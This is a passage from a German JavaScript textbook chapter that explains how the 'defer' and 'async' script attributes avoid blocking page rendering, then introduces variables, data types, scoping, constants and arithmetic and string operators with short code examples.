            Ein anderes Beispiel wäre etwa, wenn mithilfe von JavaScript versucht werden würde, auf Ressourcen zuzugreifen, die nicht oder nur sehr langsam geladen werden können (Beispiele hierfür wären etwa große JavaScript-Dateien oder JavaScript-Bibliotheken wie jQuery o. Ä.). Auch das würde zu einer Blockade führen. Die Lösung für solche Probleme sieht jedoch anders aus, wie Sie im nächsten Abschnitt erfahren.

        
        
            7.3.6    async und defer – zwei Lösungsansätze für blockierende Scripts

            Klären wir zunächst noch einmal ab, was der Unterschied zwischen einem synchronen und einem asynchronen Request ist:

            
                	
                    Synchron bedeutet, dass ein Codeteil nach dem anderen abgearbeitet wird. Dadurch wird die Verarbeitung des folgenden Codes so lange blockiert, bis der aktuelle Code fertig abgearbeitet wurde.

                

                	
                    Asynchron hingegen bedeutet, dass mehrere Codeteile parallel, also gleichzeitig ablaufen. Hierdurch wird keiner der Codeteile blockiert.

                

            

            Betrachten wir folgenden Code:

            <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Das HTML-Grundgerüst</title>
    <meta charset="utf-8">
    <script src="js/bibliothek.js"></script>
    <script src="js/bibliothek2.js"></script>
    <script src="js/initialisierung.js"></script>
  </head>
  <body>
    <p>Hallo Welt!</p>
  </body>
</html>


            Listing 7.3    
            Drei JavaScript-Dateien werden synchron geladen.

            Die Dateien bibliothek.js und bibliothek2.js beinhalten lediglich sogenannte Funktionen, die hilfreiche Codeblöcke darstellen, die aber allesamt zunächst gar nicht ausgeführt werden, sondern nur »vorbereitet« werden und demnach keinen blockierenden Code wie aus dem vorigen Abschnitt darstellen können. Nichtsdestotrotz handelt es sich um sehr große Dateien – sagen wir, 1 MByte an Daten pro Datei.

            Die dritte Datei, initialisierung.js, beinhaltet hingegen einen Code, der ausgeführt werden soll und von dessen Ausführung weitere Codes abhängen. Eine solche Datei sollte nicht asynchron geladen werden, sondern wie üblich synchron. Hier spielt also die Reihenfolge der zu ladenden Dateien im Code eine Rolle: Der Code aus initialisierung.js wird benötigt, damit andere Codeteile fehlerfrei funktionieren.

            Gehen wir die Lade-Abfolge also einmal durch. Nehmen wir dazu an, die Datei index. html beinhaltet den obigen Code. Unser User ruft die Datei über die Adresszeile im Browser auf, wodurch ein Request an den zuständigen Server entsteht. Der Server liest den Inhalt der Datei (also den darin befindlichen HTML-Code) ein und liefert diesen an den Browser zurück. Der Browser interpretiert den HTML-Code nun Zeile für Zeile und stößt dort auf folgende Zeile:

            <script src="js/bibliothek.js"></script>


            Sofort stellt der Browser einen neuerlichen Request an den betreffenden Server (in diesem Fall ist das ebenfalls derjenige Server, auf dem auch die Datei index.html liegt) und fordert die Datei an. Obwohl sich in dieser Datei kein Code befindet, der dringend oder wichtig wäre, wartet der Browser das Laden dieser Datei ab und fährt erst dann mit der weiteren Verarbeitung des HTML-Codes fort, wenn die Script-Datei vollständig geladen und auch ausgeführt wurde (wobei in unserem Fall nichts ausgeführt werden muss).

            Dadurch wird der Aufbau des Dokumentbaums verzögert, und das ist offensichtlich unerwünscht: Solange der Dokumentbaum nicht aufgebaut ist, kann der Browser nichts tun. Weder kann eine Formatierung vorgenommen werden noch kann der User die Seite benutzen. Dieses Verhalten nennt man synchrones Laden.

            Die Lösung zu diesem Problem ist das asynchrone Laden, das in JavaScript in zwei Ausprägungen existiert: mit defer und async.

            Betrachten wir zunächst die erste Variante (defer) mit der Angabe des entsprechenden Attributs defer im <script>:

            <script src="js/bibliothek.js" defer></script>


            Hierdurch wird dem Browser mitgeteilt, dass er nicht auf das Laden des Scripts zu warten braucht. Gleichzeitig verspricht dieses Attribut dem Browser aber auch, dass sich in dieser Datei kein Code befindet, der den Aufbau des Dokumentbaumes beeinflussen könnte (wie etwa document.write()):

            
                	
                    Mit defer geladene Scripts blockieren den Aufbau der Webseite nicht.

                

                	
                    Auszuführender Code, der sich in ihnen befindet, wird ausgeführt, nachdem der Aufbau des Dokumentbaums fertig ist, aber noch bevor der Browser dies öffentlich mitteilt. (Hiermit ist gemeint, dass er ein Ereignis namens DOMContentLoaded initiiert.)

                

            

            Natürlich benötigt das Laden von bibliothek.js immer noch Zeit, und natürlich benötigt das etwaige Ausführen von Code auch seine Zeit, aber dennoch kann der Browser seine wesentlichen Arbeiten, nämlich das Vorbereiten des Dokumentbaums, vorab ausführen. Abbildung 7.4 bis Abbildung 7.7 zeigt eine Simulation eines sehr langen Scripts, einmal ohne und einmal mit defer. Die zu ladende Datei simulate.php simuliert eine Verzögerung (angegeben mit dem GET-Parameter delay) von einigen Sekunden. (Lassen Sie sich von der Datei-Endung .php nicht irritieren: Diese Datei beinhaltet dennoch (gültigen) JavaScript-Code. Details zu diesem Trick erfahren Sie im PHP-Kapitel zur Manipulation des http-Headers.) Sie beinhaltet einen Code, um in der Entwicklerkonsole den Text »Scriptdatei nach ...s geladen« auszugeben – betrachten Sie deshalb bitte in den folgenden Screenshots auch die Entwicklerkonsole.

            <p>Code vor dem Laden der Script-Datei</p>
<script>


            document.addEventListener("DOMContentLoaded", () => console.log("Dokumentbaum aufgebaut und öffentlich kundgetan"));


            </script>
<script src="js/simulate.php?delay=5" defer></script>
<p>Code nach dem Laden der Script-Datei</p>


            
                [image: Simulation eines Scripts ohne »defer« vor dem Laden …]

                Abbildung 7.4    
            Simulation eines Scripts ohne »defer« vor dem Laden …

            
            
                [image: … und nach dem Laden.]

                Abbildung 7.5    
            … und nach dem Laden.

            
            
                [image: Simulation eines Scripts mit »defer« vor dem Laden …]

                Abbildung 7.6    
            Simulation eines Scripts mit »defer« vor dem Laden …

            
            
                [image: … und nach dem Laden.]

                Abbildung 7.7    
            … und nach dem Laden.

            
            Wie man sieht, wird im Falle von defer der Aufbau der Seite nicht blockiert.

            Auf einen weiteren Punkt muss ich auch noch eingehen: die Reihenfolge der zu ladenden Dateien. Der folgende Code lädt die zwei Dateien parallel, wobei die zweite Datei schneller geladen werden wird als die erste. Dennoch behält der Browser die Reihenfolge bei und verarbeitet zunächst die erste, dann erst die zweite Datei, da der Code der zweiten Datei gegebenenfalls auf dem Code der ersten Datei aufbaut:

            <p>Code vor dem Laden der Script-Datei</p>
<script>


            document.addEventListener("DOMContentLoaded", () => console.log("Dokumentbaum aufgebaut und öffentlich kundgetan"));


            </script>
<script src="js/simulate.php?delay=5" defer></script>
<script src="js/simulate.php?delay=1" defer></script>
<p>Code nach dem Laden der Script-Datei</p>


            Listing 7.4    
            Die Scriptdateien werden nun asynchron mittels »defer« geladen.

            defer ist demnach immer dann sinnvoll, wenn die zu ladenden Scripts für den Verlauf der Website zunächst nicht wesentlich sind. Behalten Sie dennoch im Hinterkopf, dass die Scripts trotzdem geladen werden und nicht einfach im »Nirgendwo« verschwinden.

            
                [ ! ]  async und defer nur für externe Scripts

                Das defer-Attribut ist nur für externe Script-Dateien erlaubt, was natürlich aufgrund der dahinterstehenden Idee des »verzögernden Ladens« logisch erscheint. Selbiges gilt im Übrigen auch für das async-Attribut.

            

            
                [image: Obwohl die erste Datei fünf Sekunden und die zweite Datei nur eine Sekunde zum Laden benötigt, wird der Code der ersten (langsameren) Datei zuerst ausgeführt, wie die Entwicklerkonsole zeigt.]

                Abbildung 7.8    
            Obwohl die erste Datei fünf Sekunden und die zweite Datei nur eine Sekunde zum Laden benötigt, wird der Code der ersten (langsameren) Datei zuerst ausgeführt, wie die Entwicklerkonsole zeigt.

            
            Neben der defer-Variante existiert noch die async-Variante, die sich jedoch von der defer-Variante in einigen wesentlichen Punkten unterscheidet. Ganz allgemein kann man sagen, dass asynchron zu ladende Dateien völlig abgekoppelt von der restlichen Seite sind: Niemand wartet auf sie, und sie warten auf niemanden.

            
                	
                    Durch das asynchrone Laden wird der Browser nicht blockiert, was im Falle von defer nicht zutrifft, da spätestens dann, wenn das Ereignis DOMContentLoaded vom Browser abgefeuert werden soll, die Scriptdateien geladen und ausgeführt sein müssen.

                

                	
                    Asynchron geladene Scripts warten nicht darauf, bis andere Scripts geladen worden sind; andere Scripts warten auch nicht auf die asynchron zu ladenden Scripts. Im Falle von defer ist das nicht so: Die Ausführreihenfolge der mittels defer geladenen Scripts entspricht auch der Ladereihenfolge.

                

                	
                    Das Ereignis DOMContentLoaded tritt unabhängig von asynchron geladenen Dateien auf. Das hat zur Folge, dass dieses Ereignis entweder vor dem Laden der Datei(en) oder nach dem Laden der Datei(en) auftritt – man kann es simpel und einfach nicht sagen.

                

            

            Asynchron geladene Scripts werden demnach genau dann ausgeführt, wenn sie fertig geladen sind. Würden wir den Code des letzten Beispiels mit async anstatt mit defer ausführen, so ergäbe es sich, dass das kleinere Script schneller geladen wäre. Ob der Ladevorgang auch schneller ist als das Erzeugen des Dokumentbaumes durch den Browser, das kann man nicht beantworten. Testen wir’s aus, indem wir drei Dateien laden: eine mit 5 Sekunden Verzögerung (um eine sehr große Datei zu simulieren), eine mit 0 Sekunden Verzögerung und eine mit 1 Sekunde Verzögerung:

            <p>Code vor dem Laden der Script-Datei</p>
<script>


            document.addEventListener("DOMContentLoaded", () => console.log("Dokumentbaum aufgebaut und öffentlich kundgetan"));


            </script>
<script src="js/simulate.php?delay=5" async></script>
<script src="js/simulate.php?delay=0" async></script>
<script src="js/simulate.php?delay=1" async></script>
<p>Code nach dem Laden der Script-Datei</p>


            Listing 7.5    
            Das asynchrone Laden garantiert nicht, dass die zu ladenden Dateien dann bereitstehen, wenn man sie braucht.

            
                [image: Im Fall des asynchronen Ladens spielt die Ladereihenfolge keine Rolle mehr: Hier gilt »first come, first serve«.]

                Abbildung 7.9    
            Im Fall des asynchronen Ladens spielt die Ladereihenfolge keine Rolle mehr: Hier gilt »first come, first serve«.

            
            Das asynchrone Laden ist immer dann sinnvoll, wenn es sich um Script-Dateien handelt, die eigenständig agieren: Der in ihnen befindliche Code ist unabhängig von irgendeinem anderen Code auf der Webseite. Üblicherweise setzt man asynchrones Laden für Werbebanner, Feeds, die Integration externer Daten wie soziale Medien (Instagram, Facebook) oder für Karten (Google Maps o. Ä.) ein.

            
                [»]  Non-blocking Code

                Sowohl im Fall von defer als auch im Fall von async sieht der User die Website, noch bevor der Code in den Script-Dateien (vollständig) ausgeführt wird, da weder die eine noch die andere Variante den Browser blockiert. Aus diesem Grund spricht man auch von nicht blockierendem oder non-blocking Code.

                Dieses Verhalten des Codes hat eine recht wesentliche Konsequenz: Werden für die Seite notwendige Funktionalitäten mittels async oder defer geladen, so stehen diese gegebenenfalls erst etwas später zur Verfügung. Aus diesem Grund sollten Sie darauf achten, dass die Seite (zunächst) auch ohne diesen Code funktional ist und grafisch entsprechend der Erwartungen des Users dargestellt wird.

            

            Abbildung 7.10 stellt eine Zusammenfassung der besprochenen Ladezyklen dar.

            
                [image: Synchron vs. asynchron vs. defer-asynchron. Jede Variante hat ihre Daseinsberechtigung.]

                Abbildung 7.10    
            Synchron vs. asynchron vs. defer-asynchron. Jede Variante hat ihre Daseinsberechtigung.

            
            In Abschnitt 7.12 werden wir uns im Rahmen von JavaScript-Modulen ein weiteres Mal mit der Thematik des Ladens beschäftigen. Bevor Sie die Module in JavaScript kennenlernen, benötigen Sie jedoch noch ein wenig mehr Wissen rund um die Programmierung.

        
    


                    
                        
        7.4    Die essenziellen Grundlagen der Programmierung

        Wie bereits eingangs erwähnt, müssen Sie sich zunächst das wesentliche Rüstzeug aneignen, das »Programmieren« eigentlich ausmacht: die Grundlagen der (imperativen bzw. prozeduralen) Programmierung. Weil es sich im Fall von JavaScript um eine Sprache handelt, mit der sowohl objektorientiert als auch prozedural oder auch funktional programmiert werden kann, befassen wir uns zunächst einmal mit den echten Grundlagen, die Sie mindestens beherrschen müssen.

        In der Praxis wird in den meisten Fällen der prozedurale Ansatz genutzt, bei dem Sie sich im Wesentlichen mit fünf Themen auseinandersetzen müssen:

        
            	
                Variablen, um (Zwischen-)Werte zu speichern und später weiterzuverwenden

            

            	
                Bedingungen, um Entscheidungen im Code zu treffen

            

            	
                Schleifen, um gewisse Codefragmente mehrfach zu wiederholen

            

            	
                Arrays und Objekte, um eine größere Menge an Werten zu speichern, die man mit einzelnen Variablen nicht mehr abdecken kann

            

            	
                Funktionen, um Codefragmente vorzubereiten, die eventuell später (beliebig oft) benötigt werden

            

        

        Diese fünf wesentlichen Säulen der Programmierung werden wird in den folgenden Kapiteln betrachten. Es sei an dieser Stelle jedoch angemerkt, dass JavaScript auch die Objektorientierung in einem gewissen Maße erlaubt. Die objektorientierte Programmierung ist jedoch für die meisten Webanwendungen nicht notwendig bzw. (aus Sicht der Performance) nicht zielführend. Einen Blick werden wir natürlich darauf werfen.

        
            [»]  Eine Anmerkung zu den folgenden Beispielen

            Wir werden in den folgenden Kapiteln Beispiele durchnehmen, die in Ihren Augen vielleicht wenig Sinn machen und die auf diese Art in der Praxis wohl nie vorkommen werden. Das ist einerseits gewollt, aber andererseits auch notwendig, denn würde ich mit den Beispielen so lange warten, bis Sie »gute« Beispiele schreiben können, müssten wir bis ans Ende des JavaScript-Kapitels warten. Aus diesem Grund: Machen Sie sich keine Gedanken darüber, ob ein Beispiel mehr oder weniger sinnvoll wirkt, denn es dient nur dazu, dass Sie in die Denkweise der Programmierung hineinkommen und so das Programmieren erlernen.

        

        
            7.4.1    Kleine Wertespeicher – Variablen

            Variablen sind (kleine) Wertespeicher, in denen wir uns für den Zeitraum, während dem das Webdokument im Browser dargestellt wird, Informationen merken können. Der Name Variable ist auch sehr passend für unser »Behältnis«, da sich der darin gespeicherte Wert (beliebig oft) ändern kann.

            Üblicherweise unterscheidet man die Typen von Werten, die innerhalb von Variablen gespeichert werden. Der Einfachheit halber können Sie sich eine Variable als ein Behältnis wie etwa ein Trinkglas vorstellen: Ob man nun in das Trinkglas einen Viertelliter Orangensaft füllt oder einen Achtelliter Himbeer-Soda, ist für das Trinkglas unerheblich – es stellt lediglich ein Behältnis zum Aufbewahren dar. Auch ist es natürlich möglich, den Orangensaft zu einem späteren Zeitpunkt durch Marillensaft zu ersetzen, obwohl man das nicht machen sollte: Hat man sich einmal für einen Inhalt(stypen) entschieden, so sollte man dabei bleiben, um spätere Missverständnisse zu vermeiden.

            In JavaScript unterscheidet man zwischen den drei wichtigsten primitiven Datentypen:

            
                	
                    Strings: Hiermit sind Texte jedwelcher Natur gemeint; Texte erkennt man daran, dass sie in Anführungszeichen stehen. Dabei ist es unerheblich, ob dies einfache oder doppelte Anführungszeichen sind.

                

                	
                    Numerische Werte: Dies sind Zahlen, wobei nicht zwischen Ganz- und Kommazahlen unterschieden wird (andere Programmiersprachen unterscheiden sehr wohl zwischen ihnen). Apropos Kommazahlen: Das Komma wird im Code immer als Punkt geschrieben.

                

                	
                    Boolesche Werte: Hiermit sind Wahrheitswerte gemeint, wobei nur zwei mögliche Werte existieren: true oder false.

                

            

            Hinzu kommen noch zwei weitere Datentypen (undefined, null), auf die wir ein paar Absätze später eingehen werden.

            
                Variablendeklaration und -nutzung

                Unter einer Variablendeklaration versteht man das »Erzeugen« bzw. »Bekanntmachen« einer Variablen. Dies ermöglicht es dem Browser, einen gewissen Speicherplatz zu reservieren, um im Falle der späteren Verwendung der Variablen schneller auf diese zugreifen zu können.

                Die Verwendung einer Variablen erfolgt in zwei Schritten:

                
                    	
                        Deklaration: Vergabe eines Variablennamens mit let Variablenname;

                    

                    	
                        Wertzuweisung: Der zuvor deklarierten Variable wird ein Wert zugewiesen: Variablenname = Wert;

                    

                

                Leerzeichen zwischen einem = und dem Variablennamen bzw. dem Wert sind jederzeit erlaubt (und in der Regel auch erwünscht): let a=17; oder let a = 17; – beide Schreibweisen sind erlaubt, die zweitere jedoch erwünscht.

                
                    [»]  Die Leserichtung bei einer Wertzuweisung

                    Betrachtet man oben stehenden Code let a = 17, so könnte man versucht sein, diesen wie folgt zu lesen: »Der Variable a wird der Wert 17 zugewiesen.«

                    Das mag nun ein wenig nach Haarspalterei klingen, aber korrekt ist, wenn man den Code so liest: »Der Wert 17 wird der Variablen a zugewiesen.«

                    Haben Sie den Unterschied erkannt? Man betrachtet immer zunächst den Teil rechts vom Gleichheitszeichen und dann erst den linken Teil. Aktuell ist uns diese Spitzfindigkeit noch herzlich egal, im Fortlauf Ihrer Karriere als Programmierer*in wird das jedoch recht wichtig werden.

                

                Abbildung 7.11 illustriert die Deklaration und Wertzuweisung an unserem Beispiel von der Variable als Behälter.

                
                    [image: Eine Variable als Behälter: Der Behälter bekommt einen Namen sowie einen Wert zugewiesen. Der Typ des Wertes (»Wasser«) ergibt sich erst durch die Wertzuweisung und kann vorab nicht festgelegt werden. Einheiten (»ml«) werden nicht gespeichert.]

                    Abbildung 7.11    
            Eine Variable als Behälter: Der Behälter bekommt einen Namen sowie einen Wert zugewiesen. Der Typ des Wertes (»Wasser«) ergibt sich erst durch die Wertzuweisung und kann vorab nicht festgelegt werden. Einheiten (»ml«) werden nicht gespeichert.

                
                Wird eine Variable lediglich deklariert, ihr jedoch kein Wert zugewiesen, so erhält sie den bereits angesprochenen Datentyp undefined. Neben den plausiblen Datentypen existieren nämlich noch zwei weitere Datentypen, die im ersten Moment für uns nicht ganz so zugänglich sind:

                
                    	
                        undefined: Dieser Datentyp kommt dann zum Einsatz, wenn eine Variable zwar deklariert wurde, ihr jedoch noch kein Wert zugewiesen wurde.

                    

                    	
                        null: Dieser Datentyp stellt den »leeren Wert« dar.

                    

                

                Ein paar Beispiele zur Deklaration von Variablen finden Sie hier:

                let vorname;
vorname = "Uwe";
let nachname;
nachname = "Mutz";
let zahl;
zahl = 23;
let zahl2;
zahl2 = -19.5;
let entscheidung;
entscheidung = true;


                Listing 7.6    
            Einige Beispiele zur Variablendeklaration und Wertzuweisung

                Die jeweils zwei untereinander dargestellten Schritte können zu einem Schritt zusammengefasst werden:

                let vorname = "Uwe"; oder let nachname = "Mutz";

                Zudem existieren einige weitere Vereinfachungen beim Einsatz von Variablen:

                
                    	
                        Deklaration und Wertzuweisung in einem Schritt wie oben erwähnt:

                        let vorname = "Uwe";


                    

                    	
                        Deklaration (und Wertzuweisung) von mehreren Variablen in einem Schritt:

                        let vorname = "Uwe", nachname = "Mutz", zahl = 23, zahl2 = -19.5, entscheidung = true;


                    

                    	
                        Es muss nicht jeder Variablen sofort ein Wert zugewiesen werden:

                        let a = 17, b = 23, c, d, e, f = "EinZweiDrei"; 


                        Wird der Variable kein Wert zugewiesen, so weist sie den Wert undefined auf.

                    

                

                Die Wahl des Variablennamens ist grundsätzlich frei, jedoch müssen ein paar Regeln beachtet werden:

                
                    	
                        Variablennamen dürfen keine Leerzeichen, keine Sonderzeichen (bis auf den Unterstrich »_« sowie gegebenenfalls das Dollarzeichen »$«), keine Umlaute und keine führenden Ziffern aufweisen. (Affe1 ist erlaubt, 1Affe ist nicht erlaubt.)

                    

                    	
                        Die Groß- und Kleinschreibung ist zu beachten: Affe1 ist nicht dasselbe wie affe1.

                    

                    	
                        Es dürfen keine reservierten Wörter verwendet werden: Hiermit sind sämtliche Befehle, Konstrukte etc. gemeint, wie etwa auch der zuvor erwähnte Begriff let.

                    

                

                
                    [+]  Camel-Schreibweise

                    Verwenden Sie dort, wo mehrere einzelne Wörter in einem Variablennamen benötigt werden, die Camel-Schreibweise: Anstatt meine Vornamen als Variablennamen zu verwenden (was ja nicht erlaubt ist), kann man meineVornamen schreiben. Derartige Bezeichnungen finden Sie im Rahmen von Programmiersprachen sehr zahlreich, wie z. B. auch in JavaScript, wenn man auf ein Element einer gegebenen ID zugreifen möchte: »get Element By ID« wird zu getElementByID. Bei der Camel-Schreibweise wird jeweils der erste Buchstabe eines Wortes im Variablennamen großgeschrieben, der allererste Buchstabe aber klein.

                

                
                    Eine klare Aussage: "use strict"

                    Theoretisch müssten Variablen nicht deklariert (angelegt) werden; in JavaScript ist auch eine sogenannte implizite Deklaration erlaubt: Die Verwendung von let a = 17; müsste nicht sein, da auch einfach nur a = 17; erlaubt ist. Dies ist jedoch unüblich und nicht erwünscht, weshalb Sie diese Variante gleich wieder vergessen sollten. Um das Problem erst gar nicht aufkommen zu lassen, sollten Sie gleich in der ersten Zeile Ihres Codes den Ausdruck "use strict" setzen, denn damit zwingen Sie sich, Variablen korrekt zu deklarieren:

                    a = 17; //wäre in Ordnung, da "use strict" nicht verwendet wurde


                    Mit "use strict" hätte man da ein Problem: 

                    "use strict";
a = 17; //erzeugt einen Fehler, da die Variable a nicht deklariert wurde


                    
                        [»]  use strict und Funktionen

                        In Abschnitt 7.4.6 lernen Sie Funktionen kennen. Theoretisch wäre es auch möglich, ein "use strict" nur auf eine Funktion zu beschränken, indem man den Ausdruck in die Funktion schreibt. Ein guter Programmierer verwendet "use strict" jedoch für den gesamten Code.

                    

                
                
                    Stark oder schwach typisiert?

                    In JavaScript besteht die Möglichkeit, den Typ einer Variablen zu wechseln. Beispielsweise kann eine Variable zunächst mit einem numerischen Wert und später im Code mit einem Stringwert versehen werden. Dies ist aufgrund der dynamischen Typisierung von JavaScript möglich – erwünscht ist es jedoch nicht, denn es zeugt in der Regel von schlechtem Programmierstil.

                    Jedoch muss ich an dieser Stelle auch anmerken, dass der Wechsel eines Datentyps manchmal sogar notwendig ist. Dies ist auch der Grund, warum der Wechsel in JavaScript überhaupt erst möglich ist. Die Möglichkeit, den Typ zu wechseln, nennt man schwache Typisierung. Würde einer Variablen bei der Deklaration ein Typ zugewiesen werden, der später nicht mehr gewechselt werden kann, würde man dies starke Typisierung nennen. In JavaScript ist keine starke Typisierung möglich.

                    Wie ich bereits eingangs erwähnt hatte, darf einer Variablen beliebig oft ein neuer Wert zugewiesen werden, wodurch bei jeder neuen Wertzuweisung der alte Wert durch den neuen Wert ersetzt wird. Wenden wir wieder die Analogie zur Realität in Form unseres Wasserglases an, so bedeutet das, dass in einem ersten Schritt der aktuelle Inhalt des Wasserglases ausgeschüttet wird und danach in einem zweiten Schritt das Glas mit dem neuen Inhalt neu befüllt wird. Abbildung 7.12 und Abbildung 7.13 verdeutlichen die zwei Arten der Typisierung.

                    
                        [image: Schlechte Angewohnheit: Neben einem neuen Wert wird der Variablen auch ein anderer Typ zugewiesen.]

                        Abbildung 7.12    
            Schlechte Angewohnheit: Neben einem neuen Wert wird der Variablen auch ein anderer Typ zugewiesen.

                    
                    
                        [image: Gute Angewohnheit: Der Variablen wird lediglich ein neuer Wert, jedoch kein neuer Typ zugewiesen.]

                        Abbildung 7.13    
            Gute Angewohnheit: Der Variablen wird lediglich ein neuer Wert, jedoch kein neuer Typ zugewiesen.

                    
                    In beiden Fällen wird der aktuelle Inhalt zunächst entfernt und danach die »Tasse« (Variable) neu befüllt.

                
                
                    Scoping: Globaler und lokaler Gültigkeitsbereich

                    Seit der Einführung von ES6 (ES2015) können neben diesen (globalen) Variablen auch Variablen mit lokalem Gültigkeitsbereich definiert werden. Solche Variablen gelten lediglich innerhalb des von ihnen verwendeten Blockbereichs, dem sogenannten Block Scope. (Das ist ein Bereich, der durch geschwungene Klammern definiert wird – hierzu erfahren Sie in den folgenden Abschnitten mehr.) Alternativ kann eine Variable auch global deklariert werden, indem man anstelle von let ein var verwendet:

                    var a = 17;


                    Betrachten wir folgendes Beispiel:

                    var a = 17;
let b = 23;
 
if(a!=b) {
  var c = 4;
  let d = 5;
 
  a = a+c;
  b = b+d;
}
console.log("a=",a);
console.log("b=",b);
console.log("c=",c);
console.log("d=",d);


                    Listing 7.7    
            Der Block Scope behält mit »let« deklarierte Variablen innerhalb der geschwungenen Klammern.

                    Das Ergebnis sehen Sie in Abbildung 7.14:

                    
                        [image: Eine lokale Variable ist außerhalb ihres Gültigkeitsbereichs nicht verfügbar, weshalb wir einen »Reference Error« erhalten]

                        Abbildung 7.14    
            Eine lokale Variable ist außerhalb ihres Gültigkeitsbereichs nicht verfügbar, weshalb wir einen »Reference Error« erhalten

                    
                    Innerhalb des Blockbereichs, der mit if(a!=b) { beginnt und mit } endet, werden die Variablen c und d deklariert. Die mit var deklarierte Variable c ist später auch außerhalb des Blockbereichs verfügbar (wir können sie beispielsweise in der Entwicklerkonsole ausgeben lassen). Die mit let deklarierteVariable d ist das jedoch nicht (beim Versuch, sie mittels console.log("d=",d); auszugeben, erhalten wir einen Fehler).

                    Wichtig wird dieser Scope also erst im Fall von Blockbereichen (Block Scope; nicht zu verwechseln mit Block- oder Inline-Elementen) oder Funktionsbereichen (Function Scope), die Sie aber erst etwas später kennenlernen werden. Aus diesem Grund erwähne ich diese einmal nur, ohne bereits näher auf sie einzugehen.

                
            
            
                Konstanten

                Seit ES6 ist der Einsatz von Konstanten möglich. Die Idee von Variablen ist, dass die gespeicherten Werte »variabel« sind – sie können sich also verändern. Konstanten sind – im Gegensatz zu Variablen – Wertespeicher, deren Werte nicht mehr geändert werden können:

                const PI = 3.1415;


                Sollten Sie dennoch versuchen, den Wert einer Konstanten zu ändern, erhalten Sie einen (Type) Error.

                Es hat sich eingebürgert, dass Konstanten, deren Wert bereits beim Schreiben des Codes bekannt ist, in Großbuchstaben geschrieben werden. Konstanten, deren Wert beim Schreiben des Codes noch nicht bekannt ist, sich jedoch während des weiteren Ablaufes des Codes nicht mehr ändert, werden (wie Variablen) mit Klein- und Großbuchstaben geschrieben:

                const vorname = prompt("Bitte geben Sie Ihren Vornamen ein:");


            
            
                Operationen – das »Arbeiten« mit Variablen

                Variablen bzw. deren gespeicherte Werte sind in der Programmierung nur dann von Nutzen, wenn man mit diesen Werten auch »arbeitet«, indem man sie beispielsweise mit anderen Werten vergleicht (»größer«, »kleiner« etc.) oder sie mit anderen Werten verknüpft (Addieren zweier Werte, aus zwei Strings einen gemeinsamen String erzeugen etc.). Hierfür sind Variablen-Operationen gedacht.

                Variablen können also auf zweierlei Art verwendet werden: verknüpfend oder vergleichend, wobei die verknüpfende Operation stärker als die vergleichende Operation ist. Was es bedeutet, dass eine Operation »stärker« als eine andere ist, lernen Sie etwas weiter unten.

                
                    Verknüpfungsoperationen

                    Je nach gespeichertem Datentyp unterscheiden wir unterschiedliche Verknüpfungsoperationen:

                    
                        	
                            Numerische Werte: Hiermit ist das »Rechnen« gemeint, und es stehen die Symbole aus Tabelle 7.1 für die unterschiedlichen Rechenoperationen bereit.

                        

                    

                    
                        
                            
                                	
                                    Name

                                
                                	
                                    Operator

                                
                                	
                                    Sinn und Zweck

                                
                                	
                                    Beispiel (a =30, b=16, d=3)

                                
                                	
                                    Ergebnis (wird in c geschrieben)

                                
                            

                        
                        
                            
                                	
                                    Addition

                                
                                	
                                    +

                                
                                	
                                    Addiert zwei Werte.

                                
                                	
                                    c = a + b;

                                
                                	
                                    46

                                
                            

                            
                                	
                                    Subtraktion

                                
                                	
                                    -

                                
                                	
                                    Subtrahiert zwei Werte.

                                
                                	
                                    c = a – b;

                                
                                	
                                    14

                                
                            

                            
                                	
                                    Multiplikation

                                
                                	
                                    *

                                
                                	
                                    Multipliziert zwei Werte.

                                
                                	
                                    c = a * b;

                                
                                	
                                    480

                                
                            

                            
                                	
                                    Division

                                
                                	
                                    /

                                
                                	
                                    Dividiert zwei Werte.

                                
                                	
                                    c = a / b;

                                
                                	
                                    3.75

                                
                            

                            
                                	
                                    Modulo (Restwert)

                                
                                	
                                    %

                                
                                	
                                    Berechnet den Rest einer Division – ganz im Sinne der Mathematik aus der Volksschule: »Drei Ganze, zwei Rest«.

                                
                                	
                                    c = a % b;

                                
                                	
                                    14 (Die Division ergäbe »ein Ganzes, 14 Rest«.)

                                
                            

                            
                                	
                                    Potenz

                                
                                	
                                    **

                                
                                	
                                    Potenziert einen Wert mit einem anderen: ab, wie etwa 32, 43 usw.

                                
                                	
                                    c = b ** d;

                                
                                	
                                    4096

                                
                            

                        
                    

                    Tabelle 7.1    
            Die Verknüpfungsoperationen bei numerischen Werten kommen Ihnen sicherlich bekannt vor.

                    Es gilt Potenz- vor Punkt- vor Strichrechnung, und auch die Klammersetzung (nur runde Klammern) ist erlaubt.

                    Im Falle der Verknüpfungsoperationen numerischer Werte stehen verkürzte Schreibweisen zur Verfügung:

                    
                        	
                            i = i + 1 kann mit i += 1 abgekürzt werden, was wiederum als i++ geschrieben werden kann.

                        

                        	
                            j = j – 1 → j -= 1 → j--

                        

                        	
                            k = k * 3 → k *= 3

                        

                        	
                            m = m / 7 → m /= 7

                        

                        	
                            usw.

                        

                    

                    Das ++ bzw. -- bezeichnet man als unäre Operatoren. Unäre Operatoren beziehen sich auf einen einzigen Wert, wie das etwa bei i++ sichtbar wird. Grundsätzlich spricht man von einer Postfix-Notation, wenn der Operator dem Wert folgt (i++), wohingegen die Präfix-Notation eine solche ist, wo der Wert der Operation folgt (++i). Der Unterschied zwischen den beiden Notationen ist der, wann die Operation stattfindet: vor (++i) oder nach (i++) der Verwendung der Variablen:

                    let a =17;
let b = a++; //b erhält den Wert 17, a wird zu 18
let c = 23;
let d = ++c; //d erhält den Wert 24, c wird ebenso zu 24


                    
                        [»]  Rundungsfehler

                        An dieser Stelle möchte ich einem sehr heiklen Thema vorgreifen, den Rundungsfehlern. Man mag es kaum glauben, aber selbst bei den einfachsten Berechnungen in JavaScript treten Rundungsfehler auf (und damit steht JavaScript nicht allein da!). Gerne können Sie das selbst testen, indem Sie 0,3 und 0,2 addieren und sich das Ergebnis in der Entwicklerkonsole ausgeben lassen. Sie werden erstaunt sein! Dass es hierfür einen technischen Grund gibt, ist natürlich klar: Dieser ist in der Genauigkeit von Fließkommazahlen begründet.

                    

                    
                        	
                            Strings: Im Falle von Strings meint man mit »verknüpfen« das Zusammenfügen von Texten zu einem gemeinsamen Text (Fachbegriff: konkatenieren). Hierzu wird (leider) ebenso wie bei der Addition das Plus-Zeichen + verwendet:

                            let vn = "Uwe", nn = "Mutz", name;
name = vn + nn; //"UweMutz"
let name2 = vn + " " + nn; //"Uwe Mutz" (man beachte das Leerzeichen) 


                        

                    

